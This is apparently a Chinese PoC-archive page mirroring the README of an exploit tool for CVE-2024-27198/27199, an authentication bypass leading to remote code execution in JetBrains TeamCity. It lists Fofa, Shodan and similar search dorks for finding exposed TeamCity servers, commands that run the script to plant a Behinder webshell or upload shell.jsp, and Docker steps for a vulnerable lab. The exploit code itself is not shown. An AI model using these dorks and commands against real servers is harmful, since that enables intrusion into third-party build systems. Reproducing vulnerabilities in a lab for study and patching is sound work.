目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2024-27198 PoC — JetBrains TeamCity 安全漏洞

来源
关联漏洞
标题: JetBrains TeamCity 安全漏洞 (CVE-2024-27198)
Description:JetBrains TeamCity是捷克JetBrains公司的一套分布式构建管理和持续集成工具。该工具提供持续单元测试、代码质量分析和构建问题分析报告等功能。 JetBrains TeamCity 2023.11.4之前版本存在安全漏洞,该漏洞源于存在身份验证绕过漏洞。
Description
CVE-2024-27198 & CVE-2024-27199 Authentication Bypass --> RCE in JetBrains TeamCity Pre-2023.11.4
介绍
# Cyberspace Mapping Dork

## Fofa

```
app="JET_BRAINS-TeamCity"
```

## ZoomEye

```
app:"JetBrains TeamCity"
```

## Hunter.how

```
product.name="TeamCity"
```

## Shodan

```
http.component:"teamcity"
```

# How to use

I'm using `Python3.9`.

```shell
pip install requests urllib3 faker
python CVE-2024-27198-RCE.py -t http://192.168.198.173:8111 --behinder4
# python CVE-2024-27198-RCE.py -t http://192.168.198.173:8111 -f shell.jsp
```

![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image-20240311155702623.png)

![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image-20240311132654487.png)

also:

```shell
python CVE-2024-27198-RCE.py -t http://192.168.198.173:8111
```

![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image-20240311132752687.png)

# Vulnerability recurrence environment construction

Use docker to pull the vulnerable image and start it:

```shell
sudo docker pull jetbrains/teamcity-server:2023.11.3
sudo docker run -it -d --name teamcity -u root -p 8111:8111 jetbrains/teamcity-server:2023.11.3
# sudo ufw disable
```

Then make basic settings:

![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image-20240307232348600.png)

![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image-20240307232404056.png)



# Reference

https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/

https://github.com/Chocapikk/CVE-2024-27198
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →